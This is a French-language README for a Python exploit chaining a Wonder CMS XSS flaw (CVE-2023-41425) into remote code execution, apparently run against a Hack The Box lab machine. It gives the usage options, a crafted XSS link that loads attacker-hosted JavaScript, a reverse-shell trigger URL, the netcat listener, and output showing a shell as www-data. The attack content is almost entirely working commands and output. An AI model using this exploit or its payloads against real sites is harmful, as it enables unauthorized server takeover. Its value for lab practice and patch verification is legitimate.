
Exploit Python pour Wonder CMS XSS-to-RCE (CVE-2023-41425) qui sert des scripts malveillants localement, permettant l'exécution de code à distance sans dépendances externes.
Une vulnérabilité de type Cross-Site Scripting (XSS) dans Wonder CMS, de la version 3.2.0 à la version 3.4.2, permet à un attaquant distant d'exécuter du code arbitraire via un script spécialement conçu téléversé sur le composant installModule. Il s'agit d'une version modifiée de l'exploit original de prodigiousMind qui étend l'exploit pour servir l'intégralité de celui-ci en local, sans dépendre d'une connexion Internet externe.
C'est utile si vous êtes complètement perdu en mer et que vous avez trouvé un problème avec votre vélo...
Remarque : xss.js est laissé dans le dépôt à des fins de démonstration ; le script l'écrasera avec votre configuration lors de son exécution.
usage: exploit.py [-h] -u URL -lh LHOST -lp LPORT -sh SRVHOST -sp SRVPORT
WonderCMS 4.3.2 XSS to RCE Exploit
options:
-h, --help show this help message and exit
-u URL, --url URL The login URL of the WonderCMS site (e.g., http://localhost/wondercms/loginURL)
-lh LHOST, --lhost LHOST
The IP address for the reverse shell listener
-lp LPORT, --lport LPORT
The port for the reverse shell listener
-sh SRVHOST, --srvhost SRVHOST
The local IP serving the malicious XSS JavaScript
-sp SRVPORT, --srvport SRVPORT
The local port serving the malicious XSS JavaScript
Remarque : cet exploit peut être assez lent à fonctionner !
$python3 exploit.py -u http://sea.htb/loginURL -lh 10.10.14.101 -lp 7777 -sh 10.10.14.101 -sp 8888
##################################
# Wondercms 4.3.2 XSS to RCE #
# Original POC by prodigiousMind #
# Updated version by Ducksec #
##################################
Check you got this stuff right!
Parsed arguments:
URL: http://sea.htb/loginURL
LHOST: 10.10.14.101
LPORT: 7777
SRVHOST: 10.10.14.101
SRVPORT: 8888
[+] xss.js is created
[+] Execute the below command in another terminal:
----------------------------
nc -lvp 7777
----------------------------
Send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.101:8888/xss.js"></script><form+action="
----------------------------
[+] Ensure that main.zip is still in this directory.
[+] Once the target successfully requests main.zip it's safe to kill this script.
[+] Once complete, you can also re-exploit by requesting: http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.101&lport=7777
Starting HTTP server to allow access to xss.js
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.178.129 - - [02/Oct/2024 14:39:51] "GET /xss.js HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
$nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.101] from (UNKNOWN) [10.129.178.129] 39958
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
13:40:01 up 4 min, 0 users, load average: 0.93, 0.49, 0.20
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Ce code est fourni uniquement à des fins éducatives et de tests de sécurité éthiques. Il doit être utilisé de manière responsable et uniquement dans des environnements où une autorisation explicite a été accordée. Toute utilisation non autorisée ou malveillante est strictement interdite. En utilisant ce code, vous acceptez de vous conformer à toutes les lois, réglementations et normes éthiques applicables dans votre juridiction. Les créateurs et contributeurs déclinent toute responsabilité en cas de dommages ou de conséquences découlant d'une utilisation abusive ou non autorisée de ce code.